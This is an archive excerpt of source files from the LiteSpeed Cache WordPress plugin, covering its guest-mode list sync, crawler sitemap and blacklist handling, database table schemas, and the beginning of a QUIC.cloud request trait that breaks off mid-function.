private function _clear_reset_qc_reg_msg() { self::debug( 'Removed pinned reset QC reg content msg' ); $msg = $this->_reset_qc_reg_content(); Admin_Display::dismiss_pin_by_content( $msg, Admin_Display::NOTICE_RED, true ); } } ���������������������������������������������������������������������plugins/litespeed-cache/src/guest.cls.php�����������������������������������������������������������0000644�����������������00000005405�15233526476�0014474 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Guest mode management class. * * Handles syncing of Guest Mode IP and UA lists from QUIC.cloud. * * @package LiteSpeed * @since 7.7 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Guest * * Extends Cloud class to provide Guest Mode related functionality. */ class Guest extends Cloud { const LOG_TAG = '👤'; const TYPE_SYNC = 'sync'; /** * Cron handler for daily Guest Mode sync. * * @since 7.7 * @return void */ public static function cron() { self::debug( 'Cron: starting daily sync' ); self::cls()->sync_lists(); } /** * Sync Guest Mode IP and UA lists. * * Fetches the latest IP and UA lists from QUIC.cloud API and saves them locally. * * @since 7.7 * @return array{success: bool, message: string} */ public function sync_lists() { self::debug( 'Starting Guest Mode lists sync' ); $cloud_dir = LITESPEED_STATIC_DIR . '/cloud'; $results = [ 'ips' => false, 'uas' => false, ]; foreach ( [ 'ips', 'uas' ] as $type ) { $data = $this->_fetch_api( $this->_cloud_server_wp . '/gm_' . $type ); if ( $data && File::save( $cloud_dir . '/gm_' . $type . '.txt', $data, true ) ) { self::debug( 'Guest Mode ' . $type . ' synced' ); $results[ $type ] = true; } } $success = $results['ips'] && $results['uas']; $message = $success ? __( 'Guest Mode lists synced successfully.', 'litespeed-cache' ) : __( 'Failed to sync Guest Mode lists.', 'litespeed-cache' ); return [ 'success' => $success, 'message' => $message, ]; } /** * Fetch data from API. * * @since 7.7 * @param string $url API URL. * @return string|false Data on success, false on failure. */ private function _fetch_api( $url ) { self::debug( 'Fetching: ' . $url ); $response = wp_remote_get( $url, [ 'timeout' => 15, ] ); if ( is_wp_error( $response ) ) { self::debug( 'Fetch error: ' . $response->get_error_message() ); return false; } $code = wp_remote_retrieve_response_code( $response ); if ( 200 !== $code ) { self::debug( 'Fetch failed with code: ' . $code ); return false; } $body = wp_remote_retrieve_body( $response ); if ( empty( $body ) ) { self::debug( 'Empty response body' ); return false; } return $body; } /** * Handle all request actions from main class. * * @since 7.7 * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_SYNC: $result = $this->sync_lists(); if ( Router::is_ajax() ) { wp_send_json( $result ); } if ( $result['success'] ) { Admin_Display::success( $result['message'] ); } else { Admin_Display::error( $result['message'] ); } break; default: break; } Admin::redirect(); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/crawler-map.cls.php�����������������������������������������������������0000644�����������������00000046642�15233526476�0015567 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The Crawler Sitemap Class. * * @package LiteSpeed * @since 1.1.0 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Crawler_Map * * Maintains and persists crawler sitemap/blacklist state, parses custom sitemaps, * and exposes helpers to query & mutate crawler results. */ class Crawler_Map extends Root { const LOG_TAG = '🐞🗺️'; const BM_MISS = 1; const BM_HIT = 2; const BM_BLACKLIST = 4; /** * Site URL used to simplify URLs. * * @var string */ private $_site_url; /** * Main crawler table name. * * @var string */ private $_tb; /** * Crawler blacklist table name. * * @var string */ private $_tb_blacklist; /** * Data service instance. * * @var \LiteSpeed\Data */ private $__data; /** * Timeout (seconds) when fetching sitemaps. * * @var int */ private $_conf_map_timeout; /** * Collected URLs from parsed sitemaps. * * @var array<int,string> */ private $_urls = []; /** * Instantiate the class. * * @since 1.1.0 */ public function __construct() { $this->_site_url = get_site_url(); $this->__data = Data::cls(); $this->_tb = $this->__data->tb( 'crawler' ); $this->_tb_blacklist = $this->__data->tb( 'crawler_blacklist' ); // Specify the timeout while parsing the sitemap. $this->_conf_map_timeout = defined( 'LITESPEED_CRAWLER_MAP_TIMEOUT' ) ? constant( 'LITESPEED_CRAWLER_MAP_TIMEOUT' ) : 180; } /** * Save URLs crawl status into DB. * * @since 3.0 * @access public * * @param array<int,array<int,array{url:string,code:int}>> $items Map of bit => [ id => [url, code] ]. * @param int $curr_crawler Current crawler index (0-based). * @return array<int,array> */ public function save_map_status( $items, $curr_crawler ) { global $wpdb; Utility::compatibility(); $total_crawler = count( Crawler::cls()->list_crawlers() ); $total_crawler_pos = $total_crawler - 1; // Replace current crawler's position. $curr_crawler = (int) $curr_crawler; foreach ( $items as $bit => $ids ) { // $ids = [ id => [ url, code ], ... ]. if ( ! $ids ) { continue; } self::debug( 'Update map [crawler] ' . $curr_crawler . ' [bit] ' . $bit . ' [count] ' . count( $ids ) ); // Update res first, then reason $right_pos = $total_crawler_pos - $curr_crawler; $id_all = implode(',', array_map('intval', array_keys($ids))); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query("UPDATE `$this->_tb` SET res = CONCAT( LEFT( res, $curr_crawler ), '$bit', RIGHT( res, $right_pos ) ) WHERE id IN ( $id_all )"); // Add blacklist if (Crawler::STATUS_BLACKLIST === $bit || Crawler::STATUS_NOCACHE === $bit) { $q = "SELECT a.id, a.url FROM `$this->_tb_blacklist` a LEFT JOIN `$this->_tb` b ON b.url=a.url WHERE b.id IN ( $id_all )"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $existing = $wpdb->get_results($q, ARRAY_A); // Update current crawler status tag in existing blacklist if ($existing) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared $count = $wpdb->query("UPDATE `$this->_tb_blacklist` SET res = CONCAT( LEFT( res, $curr_crawler ), '$bit', RIGHT( res, $right_pos ) ) WHERE id IN ( " . implode(',', array_column($existing, 'id')) . ' )'); self::debug('Update blacklist [count] ' . $count); } // Append new blacklist if (count($ids) > count($existing)) { $new_urls = array_diff(array_column($ids, 'url'), array_column($existing, 'url')); self::debug('Insert into blacklist [count] ' . count($new_urls)); $q = "INSERT INTO `$this->_tb_blacklist` ( url, res, reason ) VALUES " . implode(',', array_fill(0, count($new_urls), '( %s, %s, %s )')); $data = []; $res = array_fill(0, $total_crawler, '-'); $res[$curr_crawler] = $bit; $res = implode('', $res); $default_reason = $total_crawler > 1 ? str_repeat(',', $total_crawler - 1) : ''; // Pre-populate default reason value first, update later foreach ($new_urls as $url) { $data[] = $url; $data[] = $res; $data[] = $default_reason; } // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($wpdb->prepare($q, $data)); } } // Update sitemap reason w/ HTTP code. $reason_array = []; foreach ( $ids as $row_id => $row ) { $code = (int) $row['code']; if ( empty( $reason_array[ $code ] ) ) { $reason_array[ $code ] = []; } $reason_array[ $code ][] = (int) $row_id; } foreach ($reason_array as $code => $v2) { // Complement comma if ($curr_crawler) { $code = ',' . $code; } if ($curr_crawler < $total_crawler_pos) { $code .= ','; } // phpcs:ignore WordPress.DB $count = $wpdb->query( "UPDATE `$this->_tb` SET reason=CONCAT(SUBSTRING_INDEX(reason, ',', $curr_crawler), '$code', SUBSTRING_INDEX(reason, ',', -$right_pos)) WHERE id IN (" . implode(',', $v2) . ')' ); self::debug("Update map reason [code] $code [pos] left $curr_crawler right -$right_pos [count] $count"); // Update blacklist reason if (Crawler::STATUS_BLACKLIST === $bit || Crawler::STATUS_NOCACHE === $bit) { // phpcs:ignore WordPress.DB $count = $wpdb->query( "UPDATE `$this->_tb_blacklist` a LEFT JOIN `$this->_tb` b ON b.url = a.url SET a.reason=CONCAT(SUBSTRING_INDEX(a.reason, ',', $curr_crawler), '$code', SUBSTRING_INDEX(a.reason, ',', -$right_pos)) WHERE b.id IN (" . implode(',', $v2) . ')' ); self::debug("Update blacklist [code] $code [pos] left $curr_crawler right -$right_pos [count] $count"); } } // Reset list. $items[ $bit ] = []; } return $items; } /** * Add one record to blacklist. * NOTE: $id is sitemap table ID. * * @since 3.0 * @access public * * @param int $id Sitemap row ID. * @return void */ public function blacklist_add( $id ) { global $wpdb; $id = (int) $id; // Build res&reason. $total_crawler = count( Crawler::cls()->list_crawlers() ); $res = str_repeat(Crawler::STATUS_BLACKLIST, $total_crawler); $reason = implode(',', array_fill(0, $total_crawler, 'Man')); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $row = $wpdb->get_row("SELECT a.url, b.id FROM `$this->_tb` a LEFT JOIN `$this->_tb_blacklist` b ON b.url = a.url WHERE a.id = '$id'", ARRAY_A); if (!$row) { self::debug('blacklist failed to add [id] ' . $id); return; } self::debug('Add to blacklist [url] ' . $row['url']); $q = "UPDATE `$this->_tb` SET res = %s, reason = %s WHERE id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($wpdb->prepare($q, [ $res, $reason, $id ])); if ($row['id']) { $q = "UPDATE `$this->_tb_blacklist` SET res = %s, reason = %s WHERE id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($wpdb->prepare($q, [ $res, $reason, $row['id'] ])); } else { $q = "INSERT INTO `$this->_tb_blacklist` (url, res, reason) VALUES (%s, %s, %s)"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($wpdb->prepare($q, [ $row['url'], $res, $reason ])); } } /** * Delete one record from blacklist. * * @since 3.0 * @access public * * @param int $id Blacklist row ID. * @return void */ public function blacklist_del( $id ) { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { return; } $id = (int) $id; self::debug('blacklist delete [id] ' . $id); $sql = sprintf( "UPDATE `%s` SET res=REPLACE(REPLACE(res, '%s', '-'), '%s', '-') WHERE url=(SELECT url FROM `%s` WHERE id=%d)", $this->_tb, Crawler::STATUS_NOCACHE, Crawler::STATUS_BLACKLIST, $this->_tb_blacklist, $id ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($sql); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query("DELETE FROM `$this->_tb_blacklist` WHERE id='$id'"); } /** * Empty blacklist. * * @since 3.0 * @access public * @return void */ public function blacklist_empty() { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { return; } self::debug('Truncate blacklist'); $sql = sprintf("UPDATE `%s` SET res=REPLACE(REPLACE(res, '%s', '-'), '%s', '-')", $this->_tb, Crawler::STATUS_NOCACHE, Crawler::STATUS_BLACKLIST); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->query($sql); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query("TRUNCATE `$this->_tb_blacklist`"); } /** * List blacklist. * * @since 3.0 * @access public * * @param int|false $limit Number of rows to fetch, or false for all. * @param int|false $offset Offset for pagination, or false to auto-calc. * @return array<int,array<string,mixed>> */ public function list_blacklist( $limit = false, $offset = false ) { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { return []; } $q = "SELECT * FROM `$this->_tb_blacklist` ORDER BY id DESC"; if ( false !== $limit ) { if ( false === $offset ) { $total = $this->count_blacklist(); $offset = Utility::pagination($total, $limit, true); } $q .= ' LIMIT %d, %d'; // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare($q, $offset, $limit); } // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return $wpdb->get_results($q, ARRAY_A); } /** * Count blacklist. * * @return int|false */ public function count_blacklist() { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { return false; } $q = "SELECT COUNT(*) FROM `$this->_tb_blacklist`"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return $wpdb->get_var($q); } /** * Empty sitemap. * * @since 3.0 * @access public * @return void */ public function empty_map() { Data::cls()->tb_del( 'crawler' ); $msg = __( 'Sitemap cleaned successfully', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * List generated sitemap. * * @since 3.0 * @access public * * @param int $limit Number of rows per page. * @param int|bool $offset Offset for pagination, or false to auto-calc. * @return array<int,array<string,mixed>> */ public function list_map( $limit, $offset = false ) { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler' ) ) { return []; } if ( false === $offset ) { $total = $this->count_map(); $offset = Utility::pagination($total, $limit, true); } $type = Router::verify_type(); $req_uri_like = ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( ! empty( $_POST['kw'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $kw = sanitize_text_field( wp_unslash( $_POST['kw'] ) ); $q = "SELECT * FROM `$this->_tb` WHERE url LIKE %s"; if ( 'hit' === $type ) { $q .= " AND res LIKE '%" . Crawler::STATUS_HIT . "%'"; } if ( 'miss' === $type ) { $q .= " AND res LIKE '%" . Crawler::STATUS_MISS . "%'"; } if ( 'blacklisted' === $type ) { $q .= " AND res LIKE '%" . Crawler::STATUS_BLACKLIST . "%'"; } $q .= ' ORDER BY id LIMIT %d, %d'; $req_uri_like = '%' . $wpdb->esc_like( $kw ) . '%'; return $wpdb->get_results( $wpdb->prepare( $q, $req_uri_like, $offset, $limit ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } $q = "SELECT * FROM `$this->_tb`"; if ( 'hit' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_HIT . "%'"; } if ( 'miss' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_MISS . "%'"; } if ( 'blacklisted' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_BLACKLIST . "%'"; } $q .= ' ORDER BY id LIMIT %d, %d'; return $wpdb->get_results( $wpdb->prepare( $q, $offset, $limit ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Count sitemap. * * @return int|false */ public function count_map() { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler' ) ) { return false; } $q = "SELECT COUNT(*) FROM `$this->_tb`"; $type = Router::verify_type(); if ( 'hit' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_HIT . "%'"; } if ( 'miss' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_MISS . "%'"; } if ( 'blacklisted' === $type ) { $q .= " WHERE res LIKE '%" . Crawler::STATUS_BLACKLIST . "%'"; } return $wpdb->get_var( $q ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Generate sitemap. * * @since 1.1.0 * @access public * * @param bool $manual Whether triggered manually from UI. * @return void */ public function gen( $manual = false ) { $count = $this->_gen(); if ( ! $count ) { Admin_Display::error( __( 'No valid sitemap parsed for crawler.', 'litespeed-cache' ) ); return; } if ( ! wp_doing_cron() && $manual ) { $msg = sprintf( __( 'Sitemap created successfully: %d items', 'litespeed-cache' ), $count ); Admin_Display::success( $msg ); } } /** * Generate the sitemap. * * @since 1.1.0 * @access private * @return int|false Number of URLs generated or false on failure. */ private function _gen() { global $wpdb; if ( ! $this->__data->tb_exist( 'crawler' ) ) { $this->__data->tb_create( 'crawler' ); } if ( ! $this->__data->tb_exist( 'crawler_blacklist' ) ) { $this->__data->tb_create( 'crawler_blacklist' ); } // Use custom sitemap. $sitemap = $this->conf( Base::O_CRAWLER_SITEMAP ); if ( ! $sitemap ) { return false; } $offset = strlen( $this->_site_url ); $sitemap = Utility::sanitize_lines( $sitemap ); try { foreach ( $sitemap as $this_map ) { $this->_parse( $this_map ); } } catch ( \Exception $e ) { self::debug( '❌ failed to parse custom sitemap: ' . $e->getMessage() ); } if ( is_array( $this->_urls ) && ! empty( $this->_urls ) ) { if ( defined( 'LITESPEED_CRAWLER_DROP_DOMAIN' ) && constant( 'LITESPEED_CRAWLER_DROP_DOMAIN' ) ) { foreach ( $this->_urls as $k => $v ) { if ( 0 !== stripos( $v, $this->_site_url ) ) { unset( $this->_urls[ $k ] ); continue; } $this->_urls[ $k ] = substr( $v, $offset ); } } $this->_urls = array_values( array_unique( $this->_urls ) ); } self::debug( 'Truncate sitemap' ); $wpdb->query( "TRUNCATE `$this->_tb`" ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery self::debug( 'Generate sitemap' ); // Filter URLs in blacklist. $blacklist = $this->list_blacklist(); $full_blacklisted = []; $partial_blacklisted = []; foreach ( $blacklist as $v ) { if ( false === strpos( $v['res'], '-' ) ) { // Full blacklisted. $full_blacklisted[] = $v['url']; } else { // Replace existing reason. $v['reason'] = explode( ',', $v['reason'] ); $v['reason'] = array_map( function ( $element ) { return $element ? 'Existed' : ''; }, $v['reason'] ); $v['reason'] = implode( ',', $v['reason'] ); $partial_blacklisted[ $v['url'] ] = [ 'res' => $v['res'], 'reason' => $v['reason'], ]; } } // Drop all blacklisted URLs. $this->_urls = array_diff( $this->_urls, $full_blacklisted ); // Default res & reason. $crawler_count = count( Crawler::cls()->list_crawlers() ); $default_res = str_repeat( '-', $crawler_count ); $default_reason = $crawler_count > 1 ? str_repeat( ',', $crawler_count - 1 ) : ''; $data = []; foreach ( $this->_urls as $url ) { $data[] = $url; $data[] = array_key_exists( $url, $partial_blacklisted ) ? $partial_blacklisted[ $url ]['res'] : $default_res; $data[] = array_key_exists( $url, $partial_blacklisted ) ? $partial_blacklisted[ $url ]['reason'] : $default_reason; } foreach ( array_chunk( $data, 300 ) as $data2 ) { $this->_save( $data2 ); } // Reset crawler. Crawler::cls()->reset_pos(); return count( $this->_urls ); } /** * Save data to table. * * @since 3.0 * @access private * * @param array<int,string> $data Flat array (url,res,reason, url,res,reason, ...). * @param string $fields Fields list for insert (default url,res,reason). * @return void */ private function _save( $data, $fields = 'url,res,reason' ) { global $wpdb; if ( empty( $data ) ) { return; } $q = "INSERT INTO `$this->_tb` ( {$fields} ) VALUES "; // Add placeholder. $q .= Utility::chunk_placeholder( $data, $fields ); // Store data. $wpdb->query( $wpdb->prepare( $q, $data ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Parse custom sitemap and collect urls. * * @since 1.1.1 * @access private * * @param string $sitemap Absolute sitemap URL. * @return void * @throws \Exception If remote read or parsing fails. */ private function _parse( $sitemap ) { /** * Read via wp func to avoid allow_url_fopen = off * * @since 2.2.7 */ $response = wp_safe_remote_get( $sitemap, [ 'timeout' => $this->_conf_map_timeout, 'sslverify' => false, ] ); if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); self::debug( 'failed to read sitemap: ' . $error_message ); throw new \Exception( 'Failed to remote read ' . esc_url( $sitemap ) ); } $xml_object = simplexml_load_string($response['body'], null, LIBXML_NOCDATA); if (!$xml_object) { if ($this->_urls) { return; } throw new \Exception('Failed to parse xml ' . esc_url( $sitemap )); } // start parsing. $xml_array = (array) $xml_object; if ( ! empty( $xml_array['sitemap'] ) ) { // parse sitemap set. if ( is_object( $xml_array['sitemap'] ) ) { $xml_array['sitemap'] = (array) $xml_array['sitemap']; } if ( ! empty( $xml_array['sitemap']['loc'] ) ) { // is single sitemap. $this->_parse( (string) $xml_array['sitemap']['loc'] ); } else { // parse multiple sitemaps. foreach ( (array) $xml_array['sitemap'] as $val ) { $val = (array) $val; if ( ! empty( $val['loc'] ) ) { $this->_parse( (string) $val['loc'] ); // recursive parse sitemap. } } } } elseif ( ! empty( $xml_array['url'] ) ) { // parse url set. if ( is_object( $xml_array['url'] ) ) { $xml_array['url'] = (array) $xml_array['url']; } // if only 1 element. if ( ! empty( $xml_array['url']['loc'] ) ) { $this->_urls[] = (string) $xml_array['url']['loc']; } else { foreach ( (array) $xml_array['url'] as $val ) { $val = (array) $val; if ( ! empty( $val['loc'] ) ) { $this->_urls[] = (string) $val['loc']; } } } } } } ����������������������������������������������������������������������������������������������plugins/litespeed-cache/src/data_structure/crawler_blacklist.sql������������������������������������0000644�����������������00000000626�15233526476�0021315 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `url` varchar(1000) NOT NULL DEFAULT '', `res` varchar(255) NOT NULL DEFAULT '' COMMENT '-=Not Blacklist, B=blacklist', `reason` text NOT NULL COMMENT 'Reason for blacklist, comma separated', `mtime` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`), KEY `url` (`url`(191)), KEY `res` (`res`) ����������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/data_structure/avatar.sql�����������������������������������������������0000644�����������������00000000404�15233526476�0017076 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `url` varchar(1000) NOT NULL DEFAULT '', `md5` varchar(128) NOT NULL DEFAULT '', `dateline` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `md5` (`md5`), KEY `dateline` (`dateline`) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/data_structure/crawler.sql����������������������������������������������0000644�����������������00000000632�15233526476�0017262 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `url` varchar(1000) NOT NULL DEFAULT '', `res` varchar(255) NOT NULL DEFAULT '' COMMENT '-=not crawl, H=hit, M=miss, B=blacklist', `reason` text NOT NULL COMMENT 'response code, comma separated', `mtime` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`id`), KEY `url` (`url`(191)), KEY `res` (`res`) ������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/data_structure/img_optming.sql������������������������������������������0000644�����������������00000000526�15233526476�0020136 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `post_id` bigint(20) unsigned NOT NULL DEFAULT '0', `optm_status` tinyint(4) NOT NULL DEFAULT '0', `src` varchar(1000) NOT NULL DEFAULT '', `server_info` text NOT NULL, PRIMARY KEY (`id`), KEY `post_id` (`post_id`), KEY `optm_status` (`optm_status`), KEY `src` (`src`(191)) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/data_structure/url.sql��������������������������������������������������0000644�����������������00000000315�15233526476�0016423 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������`id` bigint(20) NOT NULL AUTO_INCREMENT, `url` varchar(500) NOT NULL, `cache_tags` varchar(1000) NOT NULL DEFAULT '', PRIMARY KEY (`id`), UNIQUE KEY `url` (`url`(191)), KEY `cache_tags` (`cache_tags`(191))�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/data_structure/url_file.sql���������������������������������������������0000644�����������������00000001210�15233526476�0017415 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������`id` bigint(20) NOT NULL AUTO_INCREMENT, `url_id` bigint(20) NOT NULL, `vary` varchar(32) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT 'md5 of final vary', `filename` varchar(32) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT 'md5 of file content', `type` tinyint(4) NOT NULL COMMENT 'css=1,js=2,ccss=3,ucss=4', `mobile` tinyint(4) NOT NULL COMMENT 'mobile=1', `webp` tinyint(4) NOT NULL COMMENT 'webp=1', `expired` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`id`), KEY `filename` (`filename`), KEY `type` (`type`), KEY `url_id_2` (`url_id`,`vary`,`type`), KEY `filename_2` (`filename`,`expired`), KEY `url_id` (`url_id`,`expired`) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/data_structure/img_optm.sql���������������������������������������������0000644�����������������00000000632�15233526476�0017436 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `post_id` bigint(20) unsigned NOT NULL DEFAULT '0', `optm_status` tinyint(4) NOT NULL DEFAULT '0', `src` text NOT NULL, `src_filesize` int(11) NOT NULL DEFAULT '0', `target_filesize` int(11) NOT NULL DEFAULT '0', `webp_filesize` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `post_id` (`post_id`), KEY `optm_status` (`optm_status`) ������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/cloud-request.trait.php�������������������������������������������������0000644�����������������00000047275�15233526476�0016516 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Cloud request trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Trait Cloud_Request * * Handles HTTP requests to QUIC.cloud servers. */ trait Cloud_Request { /** * Get data from QUIC cloud server * * @since 3.0 * @access public * * @param string $service Service. * @param array $data Data. * @return mixed */ public static function get( $service, $data = [] ) { $instance = self::cls(); return $instance->_get( $service, $data ); } /** * Get data from QUIC cloud server (private) * * @since 3.0 * @access private * * @param string $service Service. * @param array|bool $data Data array or false to omit. * @return mixed */ private function _get( $service, $data = false ) { $service_tag = $service; if ( ! empty( $data['action'] ) ) { $service_tag .= '-' . $data['action']; } $maybe_cloud = $this->_maybe_cloud( $service_tag ); if ( ! $maybe_cloud || 'svc_hot' === $maybe_cloud ) { return $maybe_cloud; } $server = $this->detect_cloud( $service ); if ( ! $server ) { return; } $url = $server . '/' . $service; $param = [ 'site_url' => site_url(), 'main_domain'=> ! empty( $this->_summary['main_domain'] ) ? $this->_summary['main_domain'] : '', 'ver' => Core::VER, ]; if ( $data ) { $param['data'] = $data; } $url .= '?' . http_build_query( $param ); self::debug( 'getting from : ' . $url ); self::save_summary( [ 'curr_request.' . $service_tag => time() ] ); File::save( $this->_qc_time_file( $service_tag, 'curr' ), time(), true ); $response = wp_safe_remote_get( $url, [ 'timeout' => 15, 'headers' => [ 'Accept' => 'application/json' ], ] ); return $this->_parse_response( $response, $service, $service_tag, $server ); } /** * Check if is able to do cloud request or not * * @since 3.0 * @access private * * @param string $service_tag Service tag. * @return bool|string */ private function _maybe_cloud( $service_tag ) { $site_url = site_url(); if ( ! wp_http_validate_url( $site_url ) ) { self::debug( 'wp_http_validate_url failed: ' . $site_url ); return false; } // Deny if is IP if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', Utility::parse_url_safe( $site_url, PHP_URL_HOST ) ) ) { self::debug( 'IP home url is not allowed for cloud service.' ); $msg = __( 'In order to use QC services, need a real domain name, cannot use an IP.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } // If in valid err_domains, bypass request if ( $this->_is_err_domain( $site_url ) ) { self::debug( 'home url is in err_domains, bypass request: ' . $site_url ); return false; } // we don't want the `img_optm-taken` to fail at any given time if ( self::IMGOPTM_TAKEN === $service_tag ) { return true; } if ( self::SVC_D_SYNC_CONF === $service_tag && ! $this->activated() ) { self::debug( 'Skip sync conf as QC not activated yet.' ); return false; } // Check TTL if ( ! empty( $this->_summary[ 'ttl.' . $service_tag ] ) ) { $ttl = (int) $this->_summary[ 'ttl.' . $service_tag ] - time(); if ( $ttl > 0 ) { self::debug( '❌ TTL limit. [srv] ' . $service_tag . ' [TTL cool down] ' . $ttl . ' seconds' ); return 'svc_hot'; } } $expiration_req = self::EXPIRATION_REQ; // Limit frequent unfinished request to 5min $timestamp_tag = 'curr'; if ( self::SVC_IMG_OPTM . '-' . Img_Optm::TYPE_NEW_REQ === $service_tag ) { $timestamp_tag = 'last'; } // For all other requests, if is under debug mode, will always allow if ( ! $this->conf( self::O_DEBUG ) ) { if ( ! empty( $this->_summary[ $timestamp_tag . '_request.' . $service_tag ] ) ) { $expired = (int) $this->_summary[ $timestamp_tag . '_request.' . $service_tag ] + $expiration_req - time(); if ( $expired > 0 ) { self::debug( '❌ try [' . $service_tag . '] after ' . $expired . ' seconds' ); if ( self::API_VER 